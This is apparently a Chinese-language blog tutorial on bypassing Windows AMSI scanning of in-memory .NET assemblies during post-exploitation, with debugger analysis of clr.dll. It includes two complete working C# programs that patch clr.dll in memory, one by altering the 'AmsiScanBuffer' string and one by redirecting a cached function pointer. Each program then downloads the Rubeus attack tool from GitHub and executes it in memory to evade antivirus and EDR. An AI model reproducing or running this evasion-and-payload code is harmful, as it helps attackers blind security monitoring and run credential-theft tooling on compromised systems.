背景
在后渗透利用中会使用大量基于.net开发的工具,比如Rubeus SharpKatz(mimikatz的C#版本)SharpView(Powerview的C#版本)等工具,由于这些工具是开源并且非常知名的工具,会受到AV/EDR的严格监控。想要在AV/EDR的监控下执行这些操作,首先需要绕过工具静态特征的匹配。AV/EDR目前主要通过监控CLR ETW AMSI来检测这些工具的使用。在本次分享中我们主要针对AMSI进行绕过,想要完整的绕过AV/EDR的监控还需要更多的努力。比如针对工具进行源代码级别的混淆,对CLR.dll进行Unhook(取消监控),对ETW进行补丁等等。
取消勾选32位的代码,默认会使用64位代码。
这是一段利用C#的反射在内存中加载恶意的.net程序。在Assembly.Load的时候会触发AMSI调用杀毒软件对加载的程序进行扫描。

使用x64dbg下断点分析


查看调用堆栈,可以发现clr.dll通过AmsiScan调用amsi.dll的AmsiScanbuffer对我们加载的程序集进行扫描。

注意:由于clr.dll的AmsiScan不是导出函,所以该函数需要下载符号文件才可以在x64dbg中看到。

使用ida对clr.dll的AmsiScan进行分析
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll
如何绕过?
●
由于第36行AmsiScan会调用GetProcAddress获取amsi.dll的AmsiScanBuffer函数。
●
调用方式:GetProcAddress(amsi.dll的基地址,"AmsiScanBuffer");
●
如果我们能够使GetProcAddress获取不到AmsiScanBuffer则可以绕过Amsi的查杀。
在windows x64的代码中如果要调用函数,需要准备这个调用约定将参数放入指定的寄存器和栈中。
https://learn.microsoft.com/zh-cn/cpp/build/x64-calling-convention?view=msvc-170

使用x64dbg在AmsiScan下一个断点,需要下载符号文件才可以看到一样的代码。

这段汇编代码是调用GetProcAddressStub。第一个参数是放在rcx,第二个参数是放在rdx中。再次强调要想成功获取amsi.dll的AmsiScanBuffer函数,第一个参数一定要是amsi.dll在内存中的地址(基地址)。第二个参数一定要是一个指针,这个指针指向字符串 "AmsiScanBuffer"。
调用完成GetProcAddress以后,如果GetProcAddress成功获取到了AmsiScanBuffer函数则RAX(这是一个调用约定,返回值一定是放在RAX中。)存放着AmsiScanBuffer的返回值,如果获取不到则返回0。

我们先修改RAX的值然后观察程序能否正确运行

修改完成RAX的值为0以后即可绕过AMSI。只有当GetProcAddress获取不到想要的函数才会返回0,所以我们只需要想办法让GetProcAddress获取不到函数即可。让我们尝试修改AmsiScanBuffer这个字符串。

在lea rdx,qword ptr ds:[<"AmsiScanBuffer"...>]下断点,然后重新运行程序。当断点断下,右键在内存窗口中转到常数,然后我们可以看到AmsiScanBuffer这个字符串,修改为BmsiScanBuffer,然后继续单步执行。

继续执行可以发现GetProcAddress的返回值为0了,我们绕过了AMSI的检测。

选择AmsiScanBuffer然后在内存布局中转到可以发现该字符串位于.rdata段中。

这个段只有读的权限,如果我们要修改需要一个写入权限。所以我们需要调用WINAPI修改他的属性。

实现
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.LPWStr)] string lpModuleName);
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr lpAddress,uint dwSize, uint flNewProtect, out uint lpflOldProtect);
static void Patch() {
var clraddr = GetModuleHandle("clr.dll");
IntPtr patchaddr = IntPtr.Zero;
var egg = Encoding.ASCII.GetBytes("AmsiScanBuffer");
var temp = new byte[egg.Length];
Console.WriteLine(egg.Length);
Console.WriteLine(clraddr.ToString("X"));
var count = 0;
while (true) {
Marshal.Copy(clraddr+count, temp,0,egg.Length);
if (egg.SequenceEqual(temp)) {
patchaddr = clraddr + count;
break;
}
count++;
}
if (patchaddr != IntPtr.Zero) {
Console.WriteLine(patchaddr.ToString("X"));
uint oldProtect;
VirtualProtect(patchaddr,1, 0x04,out oldProtect);
byte[] patchbyte = new byte[1] { 0x42 };
Marshal.Copy(patchbyte, 0,patchaddr,1);
VirtualProtect(patchaddr, 1, oldProtect, out oldProtect);
}
}
1
调用GetModuleHandle获取clr.dll的基地址。
2
调用 Marshal.Copy 读取内存比对数据是否等于AmsiScanBuffer字符串,如果是则保存数据的地址并跳出循环。
3
调用VirtualProtect修改AmsiScanBuffer的内存属性,只修改开头第一个字符串的内存属性。然后调用Marshal.Copy复制0x42修改A为B,最终字符串为 "BmsiScanBuffer"。
4
再次调用VirtualProtect还原内存属性。
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
namespace clramsipatch
{
internal class Program
{
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.LPWStr)] string lpModuleName);
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr lpAddress,uint dwSize, uint flNewProtect, out uint lpflOldProtect);
static void Main(string[] args)
{
Patch();
WebClient webClient = new WebClient();
var data = webClient.DownloadData("https://github.com/Flangvik/SharpCollection/raw/refs/heads/master/NetFramework_4.7_Any/Rubeus.exe");
var asm = Assembly.Load(data);
asm.EntryPoint.Invoke(null, new object[] { new[] { "" } });
Console.ReadKey();
}
static void Patch() {
var clraddr = GetModuleHandle("clr.dll");
IntPtr patchaddr = IntPtr.Zero;
var egg = Encoding.ASCII.GetBytes("AmsiScanBuffer");
var temp = new byte[egg.Length];
Console.WriteLine(egg.Length);
Console.WriteLine(clraddr.ToString("X"));
var count = 0;
while (true) {
Marshal.Copy(clraddr+count, temp,0,egg.Length);
if (egg.SequenceEqual(temp)) {
patchaddr = clraddr + count;
break;
}
count++;
}
if (patchaddr != IntPtr.Zero) {
Console.WriteLine(patchaddr.ToString("X"));
uint oldProtect;
VirtualProtect(patchaddr,1, 0x04,out oldProtect);
Marshal.Copy(new byte[] { 0x42 }, 0,patchaddr,1);
VirtualProtect(patchaddr, 1, oldProtect, out oldProtect);
}
}
}
}
第二种方法
clr在调用GetProcAddress以后会将返回结果保存到一个.data段的地址。
后续程序会调用这个值,所以这个值必须是一个有效的值。
这种方式的优点是理论上不需要调用任何WINAPI,非常隐蔽。

代码实现
如何寻找这个位于data段的变量?
两次加载,因为之前没有调用过Assembly.Load所以AmsiScan会进行初始化。
一旦初始化完成以后,我们只需要在clr.dll寻找一个指向amsi.dll!AmsiScanBuffer而且是小段的值。
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
namespace clramsipatch
{
internal class Program
{
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.LPWStr)] string lpModuleName);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
static void Main(string[] args)
{
WebClient webClient = new WebClient();
var data = File.ReadAllBytes("C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\AddInProcess.exe");
var asm = Assembly.Load(data);
Patch();
data = webClient.DownloadData("https://github.com/Flangvik/SharpCollection/raw/refs/heads/master/NetFramework_4.7_Any/Rubeus.exe");
asm = Assembly.Load(data);
asm.EntryPoint.Invoke(null, new object[] { new[] { "" } });
Console.ReadKey();
}
static void Patch()
{
var clraddr = GetModuleHandle("clr.dll");
var amsiaddr = GetModuleHandle("amsi.dll");
var amsiscanbuffer = GetProcAddress(amsiaddr,"AmsiScanBuffer");
var egg = BitConverter.GetBytes(amsiscanbuffer.ToInt64());
IntPtr patchaddr = IntPtr.Zero;
var temp = new byte[egg.Length];
Console.WriteLine(egg.Length);
Console.WriteLine(clraddr.ToString("X"));
var count = 0;
while (true)
{
Marshal.Copy(clraddr + count, temp, 0, egg.Length);
if (egg.SequenceEqual(temp))
{
patchaddr = clraddr + count;
break;
}
count++;
}
if (patchaddr != IntPtr.Zero)
{
Console.WriteLine(patchaddr.ToString("X"));
count = 0;
while (true)
{
if (0xc3 == Marshal.ReadByte(amsiscanbuffer + count, 0))
{
Marshal.Copy(BitConverter.GetBytes((amsiscanbuffer + count).ToInt64()), 0, patchaddr, egg.Length);
break;
}
count++;
}
}
}
}
}
相关代码:https://github.com/ro0kie3/clramsipatch